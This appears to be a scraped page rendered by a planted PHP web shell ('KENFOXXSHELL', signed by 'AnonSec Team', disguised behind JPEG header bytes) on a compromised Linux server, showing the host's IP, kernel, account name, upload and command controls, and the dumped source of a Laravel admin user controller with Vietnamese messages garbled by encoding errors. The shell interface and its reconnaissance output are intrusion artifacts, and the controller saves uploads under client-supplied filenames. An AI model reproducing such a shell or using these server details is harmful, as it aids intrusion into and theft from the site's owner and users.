ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/app/Http/Controllers/Admin/UsersController.php
<?php 

namespace App\Http\Controllers\Admin;



use App\Http\Requests;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use App\Users;

use App\Images;

use Input, File;

use Validator;

use Auth;

use DB,Hash;



class UsersController extends Controller

{

    public function index()

    {

        $data = DB::table('user')->select()->first();

        

        return view('admin.users.edit', compact('data'));

    }

    public function getAdmin()

    {

        $id_user=Auth::user()->id;

        $data = DB::table('users')->select()->where('id', $id_user)->get()->first();

        

        return view('admin.users.admin', compact('data'));

    }
     /** Phân quyá»n **/
     public function listuse()
    {
        
      
        $data = DB::table('users')->select()->where('level',1)->paginate(20);
       
       
       return view('admin.users.listuse', compact('data','nhan'));  
    } 
    public function khach()
    {
        
      
        $data = DB::table('users')->select()->where('level','>',1)->paginate(20);
       
       
       return view('admin.users.khach', compact('data'));  
    } 
     public function edituse(Request $request)
    {
        $id= $request->get('id');
        
        $data = DB::table('users')->select()->where('id', $id)->get()->first();
        
        $data = Users::find($id);
        if($request->get('hienthi')>0){
            if($data->status == 1){
                $data->status = 0; 
            }else{
                $data->status = 1; 
            }
            $data->update();
            return redirect()->route('admin.users.listuse')->with('status','Cập nhật thành công !');
        }
        
        
       return view('admin.users.edituse', compact('data'));
        
    }
      public function postedituse(Request $request)
    {
        $this->validate($request,
            ["txtName" => "required"],
            ["txtName.required" => "Bạn chưa nhập tên"],
            ['txtPasswordNew' => 'min:8|confirmed'],
            ["txtPasswordNew.length" => "Mật khẩu ít nhất 8 ký tự"],
            ["txtPassword" => "required"],
            ["txtPassword.required" => "Bạn chưa nhập lại mật khẩu"]
        );
        $id= $request->get('id');
        $data = Users::find($id);
            
        if(!empty($data)){
         
            
            $data->name = $request->txtName;
            if(!empty($request->txtPasswordNew)){
                $data->password = Hash::make($request->txtPasswordNew);
            }
            
            $data->address = $request->txtAddress;
            $data->phone = $request->txtPhone;
            $data->email = $request->txtEmail;
            
            $data->save();

            return redirect('admin/users/edituse?id='.$data->id)->with('status','Cập nhật thành công');
        }else{
            return redirect('admin/admin')->with('status','Cập nhật dữ liệu lỗi');
        }
    } 
        public function posuse(Request $request)
    {
        $id_user=Auth::user()->id;
        
    
        	$thanhvien = new Users;
            $thanhvien->name = $request->name;
         	$thanhvien->username = $request->username;
        	$thanhvien->email = $request->email;
            $thanhvien->phone = $request->phone;
            $thanhvien->level = 1;
            
         
        	$thanhvien->password = Hash::make($request->password);
        	$thanhvien->remember_token = $request->_token;
           
            $data = DB::table('users')->select()->where('email', $_REQUEST['email'])->where('username', $_REQUEST['username'])->first();
            if(empty($data)){
               return redirect()->route('admin.users.adduse')->with('status','Äã tồn tại tài khoản và email như vậy, má»i bạn tạo lại tài khoản khác!'); 
            }else{
               $thanhvien->save(); 
              	return redirect()->route('admin.users.listuse')->with('status','Thêm tài khoản thành công!');
            }
        	 
     
       
    
       
    }
     public function adduse()
    {
        $id_user=Auth::user()->id;
        $data = DB::table('users')->select()->where('id', $id_user)->get()->first();
        return view('admin.users.adduse', compact('data'));
    }
       public function deleteuse($id)
    {
       
        $data = Users::find($id);
        $data->delete();
       return redirect()->route('admin.users.listuse')->with('status','Xóa thành công');
    }    
    /**

     * Update the specified resource in storage.

     *

     * @param  int  $id

     * @return Response

     */

    public function updateinfo(Request $request)

    {

        $this->validate($request,

            [

                "txtName" => "required",

                "txtPassword" => "required",

                //'txtPasswordNew' => 'min:8|confirmed'

            ],

            [

                "txtName.required" => "Bạn chưa nhập tên",

                //"txtPasswordNew.length" => "Mật khẩu ít nhất 8 ký tự",

                "txtPassword.required" => "Bạn chưa nhập lại mật khẩu"

            ]

        );

        $id_user = Auth::user()->id;

        //$user = DB::table('users')->select('id',$id_user)->first();



        $data = Users::find($id_user);

        if(!empty($data)){

            $img = $request->file('fImages');



            if(!empty($img)){

                $path_img='upload/users';

                $img_name=$img->getClientOriginalName();

                $img->move($path_img,$img_name);

                $data->photo = $img_name;

            }

            $data->name = $request->txtName;

            if(!empty($request->txtPasswordNew)){

                $data->password = Hash::make($request->txtPasswordNew);

            }

            

            $data->address = $request->txtAddress;

            $data->phone = $request->txtPhone;

            $data->email = $request->txtEmail;

            // if($request->status=='on'){

            //     $product->status = 1;

            // }else{

            //     $product->status = 0;

            // }

            $data->save();



            return redirect('admin/users/info')->with('status','Cập nhật thành công');

        }else{

            return redirect('admin')->with('status','Cập nhật dữ liệu lỗi');

        }

    }

    public function getUserCustomer()

    {

        $data = DB::table('users')->select()->where('level', 2)->get();

        

        return view('admin.users.listcustomer', compact('data'));

    }

    public function getEditCustommer(Request $request){

        $id_user_customer = $request->get('id');

        $data = DB::table('users')->select()->where('id', $id_user_customer)->where('level',2)->first();

        if(!empty($data)){

            $user = Users::find($data->id);

            if($request->get('hienthi')>0){

                if($user->status == 1){

                    $user->status = 0; 

                }else{

                    $user->status = 1; 

                }

                $user->update();

                return redirect('admin/users/customer')->with('status','Cập nhật thành công !');

            }

        }

        

        return view('admin.users.editcustomer', compact('data'));

    }

    public function postUserCustomer(Request $request){

        $this->validate($request,

            [

                //'password'=>'required|min:6|max:20',

                'name'=>'required',

                'email'=>'required|email',

            ],

            [

                'name.required'=>'Vui lòng nhập hỠtên',

                'email.required'=>'Vui lòng nhập email',

                'email.email'=>'Không đúng định dạng email',

                //'email.unique'=>'Email đã có ngưá»i sá»­ dụng',

                // 'password.required'=>'Vui lòng nhập mật khẩu',

                // 'password.min'=>'Mật khẩu ít nhất 6 kí tự',

                // 'password.max'=>'Mật khẩu nhiá»u nhất 20 kí tá»±'

                

            ]);

        //$user = DB::table('users')->select('id',$id)->first();

        $id= $request->get('id');

        $data = Users::find($id);

        if(!empty($data)){

            $img = $request->file('fImages');



            if(!empty($img)){

                $path_img='upload/users';

                $img_name=time().'_'.$img->getClientOriginalName();

                $img->move($path_img,$img_name);

                $data->photo = $img_name;

            }

            $data->name = $request->name;

            // if(!empty($request->password_new)){

            //     $data->password = Hash::make($request->password_new);

            // }

            

            $data->address = $request->address;

            $data->phone = $request->phone;

            $data->email = $request->email;

            if($request->status=='on'){

                $data->status = 1;

            }else{

                $data->status = 0;

            }

            $data->save();



            return redirect('admin/users/customer/edit?id='.$id)->with('status','Cập nhật thành công');

        }else{

            return redirect('admin')->with('status','Cập nhật dữ liệu lỗi');

        }

    }

    public function getDeleteUserCustomer($id){

        $user = Users::findOrFail($id);

        $user->delete();

        File::delete('upload/hinhanh/'.$user->photo);

        return redirect('admin/users/customer')->with('status','Xóa thành công');

    }

    public function getDeleteListUserCustomer($id){

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

            $news = Users::findOrFail($listid_item);

            $news->delete();

            File::delete('upload/hinhanh/'.$news->photo);

        }

        return redirect('admin/users/customer')->with('status','Xóa thành công');

    }

}


Anon7 - 2022
AnonSec Team